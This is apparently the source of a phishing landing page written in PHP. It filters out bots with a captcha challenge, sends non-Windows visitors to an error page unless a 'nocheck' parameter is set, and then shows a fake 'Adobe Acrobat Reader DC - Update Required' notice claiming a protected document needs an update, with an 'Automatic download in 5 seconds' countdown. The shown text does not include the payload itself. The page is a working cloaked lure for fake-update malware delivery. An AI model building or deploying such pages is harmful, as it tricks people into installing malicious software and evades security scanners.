isEnabled()) {
// Check if verification is complete or bypass check is requested
if (!$antiBot->isVerificationComplete() && !isset($_GET['nocheck'])) {
$verificationRequired = true;
$captchaEnabled = $antiBot->isCaptchaEnabled();
$captchaSiteKey = $antiBot->getCaptchaSiteKey();
// Create verification challenge
$verificationData = $antiBot->createChallenge();
}
}
// Check for Windows OS
$isWindowsOS = false;
$userAgent = $_SERVER['HTTP_USER_AGENT'] ?? '';
if (stripos($userAgent, 'windows') !== false) {
$isWindowsOS = true;
}
// Get browser and OS information
function detectBrowser($userAgent) {
$browser = "Unknown Browser";
if (preg_match('/MSIE|Trident/i', $userAgent)) {
$browser = 'Internet Explorer';
} elseif (preg_match('/Firefox/i', $userAgent)) {
$browser = 'Mozilla Firefox';
} elseif (preg_match('/Chrome/i', $userAgent)) {
$browser = 'Google Chrome';
} elseif (preg_match('/Safari/i', $userAgent)) {
$browser = 'Safari';
} elseif (preg_match('/Opera|OPR/i', $userAgent)) {
$browser = 'Opera';
} elseif (preg_match('/Edge/i', $userAgent)) {
$browser = 'Microsoft Edge';
}
return $browser;
}
function detectOS($userAgent) {
$os = "Unknown OS";
if (preg_match('/Windows NT 10.0/i', $userAgent)) {
$os = 'Windows 10';
} elseif (preg_match('/Windows NT 6.3|Windows NT 6.2/i', $userAgent)) {
$os = 'Windows 8';
} elseif (preg_match('/Windows NT 6.1/i', $userAgent)) {
$os = 'Windows 7';
} elseif (preg_match('/Windows NT 6.0/i', $userAgent)) {
$os = 'Windows Vista';
} elseif (preg_match('/Windows NT 5.1|Windows NT 5.2/i', $userAgent)) {
$os = 'Windows XP';
} elseif (preg_match('/Macintosh|Mac OS X/i', $userAgent)) {
$os = 'Mac OS X';
} elseif (preg_match('/Linux/i', $userAgent)) {
$os = 'Linux';
} elseif (preg_match('/Ubuntu/i', $userAgent)) {
$os = 'Ubuntu';
} elseif (preg_match('/iPhone|iPad|iPod/i', $userAgent)) {
$os = 'iOS';
} elseif (preg_match('/Android/i', $userAgent)) {
$os = 'Android';
}
return $os;
}
$browserInfo = detectBrowser($userAgent);
$osInfo = detectOS($userAgent);
// Get current date
$currentDate = date('F j, Y');
// Redirect to error page if not Windows and no bypass is set
if (!$isWindowsOS && !isset($_GET['nocheck'])) {
header('Location: error.html');
exit;
}
?>
Adobe Acrobat Reader DC - Update Required
Initializing Adobe Acrobat Reader DC...
Update Adobe Acrobat Reader DC
Your version of Adobe Acrobat Reader DC needs to be updated to view this protected document.
Adobe Document Processing
Establishing secure connection...
Document Details
Document Type:
Protected PDF Document
Security:
Action Required
System Information
Compatibility:
Compatible
Document Decryption Required
Update Required
To view this document, please update to the latest version of Adobe Acrobat Reader DC.
Automatic download in 5 seconds...